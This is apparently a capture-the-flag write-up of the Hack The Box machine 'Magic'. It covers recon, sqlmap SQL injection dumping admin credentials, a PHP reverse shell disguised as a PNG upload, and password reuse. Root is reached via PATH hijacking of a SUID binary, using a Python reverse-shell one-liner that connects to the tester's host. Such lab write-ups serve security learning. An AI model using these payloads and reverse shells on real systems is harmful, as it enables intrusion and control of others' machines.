> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/magic.md).
# Magic
Magic
### Recon
Looks like OS is Linux because of TTL.
```bash
ping -c 1 10.10.10.185
PING 10.10.10.185 (10.10.10.185) 56(84) bytes of data.
64 bytes from 10.10.10.185: icmp_seq=1 ttl=63 time=59.4 ms
--- 10.10.10.185 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 59.409/59.409/59.409/0.000 ms
```
Lets start scanning a target
```bash
sudo nmap -sC -sV 10.10.10.185 -p- -T5 -oN magic
```
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 351.42 seconds
```
SSH is dead-end, so lets look at http.
### HTTP
Site looks like this, nothing really interesting, going to fuzz it.
Fuzzing directories and files.
```bash
ffuf -u http://10.10.10.185/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -e php
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.185/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
:: Extensions : php
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 77ms]
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 108ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 92ms]
[Status: 200, Size: 4052, Words: 491, Lines: 60, Duration: 103ms]
:: Progress: [60000/60000] :: Job [1/1] :: 349 req/sec :: Duration: [0:02:29] :: Errors: 4 ::
```
```bash
ffuf -u http://10.10.10.185/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt -fs 277
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.185/FUZZ
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 277
________________________________________________
index.php [Status: 200, Size: 4049, Words: 491, Lines: 60, Duration: 72ms]
login.php [Status: 200, Size: 4221, Words: 1179, Lines: 118, Duration: 64ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 100ms]
. [Status: 200, Size: 4050, Words: 491, Lines: 60, Duration: 109ms]
upload.php [Status: 302, Size: 2957, Words: 814, Lines: 85, Duration: 110ms]
:: Progress: [17129/17129] :: Job [1/1] :: 370 req/sec :: Duration: [0:00:43] :: Errors: 0 ::
```
Firstly going to look at login.php
simple credentials are not working, before brute-force going to try sql injection with sqlmap.
```bash
sqlmap -r login.req --batch --dump --level=5 --risk=3
```
and boom we dumped a database with admin credentials.
```bash
Database: Magic
Table: login
[1 entry]
+----+----------------+----------+
| id | password | username |
+----+----------------+----------+
| 1 | Th3s3usW4sK1ng | admin |
+----+----------------+----------+
```
If we login, we will see a upload file page.
### www-data Shell
We can try upload malicious file, like a reverse shell, there is restrictions but i can upload a file like rev.php.png, must be ending with png extension.
> Hint in name of the box, Magic, that probably about magic bytes of the file.
There are two ways to fake a magic bytes.
* Create a file and insert a magic bytes of png file.
* Capture a request with real png file and insert into it a payload.
So Im going to capture a request with Burp and insert into it a php reverse shell, so web application will accept it.
So I captured a request with real png image, and I have my payload with malicious php code.
And here are very short php reverse shell that I added. So lets send a request.
And it is uploaded. We can find a our "png" file in uploads directory.
Starting a netcat listener.
```bash
nc -lnvp 9001
listening on [any] 9001 ...
```
And if we curl a file, we will got a shell.
```bash
curl http://10.10.10.185/images/uploads/rev.php.png
```
Boom we got a shell!
```bash
nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.185] 52432
/bin/sh: 0: can't access tty; job control turned off
$ ls
7.jpg
giphy.gif
logo.png
magic-1424x900.jpg
magic-hat_23-2147512156.jpg
magic-wand.jpg
pepe.png
rev.php.png
trx.jpg
```
nice, now going to upgrade to interactive shell.
```bash
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@magic:/var/www/Magic/images/uploads$ ^Z
zsh: suspended nc -lnvp 9001
musor@kali:~/wu/magic$ stty raw -echo | fg
[1] + continued nc -lnvp 9001
www-data@magic:/var/www/Magic/images/uploads$ export TERM=xterm
export TERM=xterm
www-data@magic:/var/www/Magic/images/uploads$ ls
ls
7.jpg magic-1424x900.jpg pepe.png
giphy.gif magic-hat_23-2147512156.jpg rev.php.png
logo.png magic-wand.jpg trx.jpg
```
### theseus Shell
There are couple of files with interesting information, like creds for database.
```bash
www-data@magic:/var/www/Magic$ ls
ls
assets db.php5 images index.php login.php logout.php upload.php
www-data@magic:/var/www/Magic$ cat db.php5
cat db.php5
getMessage());
}
}
return self::$cont;
}
public static function disconnect()
{
self::$cont = null;
}
}
```
tried a couple of times ssh with this creds, but they are not working.
Hopefully credentials that we dumped in the beginning are working.
So lets change the user to theseus.
```bash
www-data@magic:/tmp$ su theseus
su theseus
Password: Th3s3usW4sK1ng
theseus@magic:~$ cat user.txt
cat user.txt
5213301e72f1b45ad53e7638d09e5274
```
and first flag.
> Going to drop a public key to .ssh, so i can get a fully interactive shell.
```bash
ssh theseus@10.10.10.185
The authenticity of host '10.10.10.185 (10.10.10.185)' can't be established.
ED25519 key fingerprint is SHA256:zgB1zQlAUWzZ/tisr4kgdGhDuFE/ci5567mR8AQ/mrk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.185' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
407 packages can be updated.
305 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2023.
theseus@magic:~$ ls
Desktop Documents Downloads Music Pictures Public Templates user.txt Videos
```
### Privilege Escalation
Going to execute linpeas again.
```bash
theseus@magic:/tmp$ ./linpeas.sh
./linpeas.sh
▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
```
and there something interesting.
```bash
-rwsr-x--- 1 root users 22K Oct 21 2019 /bin/sysinfo (Unknown SUID binary!)
```
Owner is root, but can be executable by users, also unknown binary that is not on GTFObins.
Im going to ssh again, execute a pspy64, and we will see what is happening.
```bash
theseus@magic:/tmp$ chmod +x pspy64
theseus@magic:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
```
```bash
2024/02/11 03:47:42 CMD: UID=0 PID=3511 | /bin/sysinfo
2024/02/11 03:47:42 CMD: UID=0 PID=3513 |
2024/02/11 03:47:43 CMD: UID=0 PID=3518 | fdisk -l
2024/02/11 03:47:43 CMD: UID=0 PID=3517 | sh -c fdisk -l
2024/02/11 03:47:43 CMD: UID=0 PID=3520 | cat /proc/cpuinfo
2024/02/11 03:47:43 CMD: UID=0 PID=3519 | sh -c cat /proc/cpuinfo
2024/02/11 03:47:43 CMD: UID=0 PID=3522 | sh -c free -h
2024/02/11 03:47:43 CMD: UID=0 PID=3521 | sh -c free -h
```
so hidden processes looks like this. we cant modify a fdisk, but we can manipulate our $PATH, to execute our own version of fdisk.
Going to create a bin directory in "/home/theseus/" and create there fdisk.
```bash
theseus@magic:~/bin$ echo 'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' > fdisk
```
And now we are going to modify a $PATH
```bash
export PATH=/home/theseus/bin:$PATH
```
```bash
theseus@magic:~/bin$ env
SSH_CONNECTION=10.10.16.2 33816 10.10.10.185 22
LANG=en_US.UTF-8
XDG_SESSION_ID=12
USER=theseus
PWD=/home/theseus/bin
HOME=/home/theseus
SSH_CLIENT=10.10.16.2 33816 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/1
MAIL=/var/mail/theseus
TERM=tmux-256color
SHELL=/bin/bash
SHLVL=1
LOGNAME=theseus
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
XDG_RUNTIME_DIR=/run/user/1000
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
_=/usr/bin/env
OLDPWD=/home/theseus
theseus@magic:~/bin$ export PATH=/home/theseus/bin:$PATH
theseus@magic:~/bin$ env
SSH_CONNECTION=10.10.16.2 33816 10.10.10.185 22
LANG=en_US.UTF-8
OLDPWD=/home/theseus
XDG_SESSION_ID=12
USER=theseus
PWD=/home/theseus/bin
HOME=/home/theseus
SSH_CLIENT=10.10.16.2 33816 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
SSH_TTY=/dev/pts/1
MAIL=/var/mail/theseus
TERM=tmux-256color
SHELL=/bin/bash
SHLVL=1
LOGNAME=theseus
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
XDG_RUNTIME_DIR=/run/user/1000
PATH=/home/theseus/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
_=/usr/bin/env
```
Starting a nc listener, and executing a /bin/sysinfo.
And again, we got a root.flag
```bash
nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.185] 55928
# id
id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
# cd /root
cd /root
# ls
ls
info.c root.txt snap
# cat root.txt
cat root.txt
465784cf3b61bd0191293d56e45c66ed
```
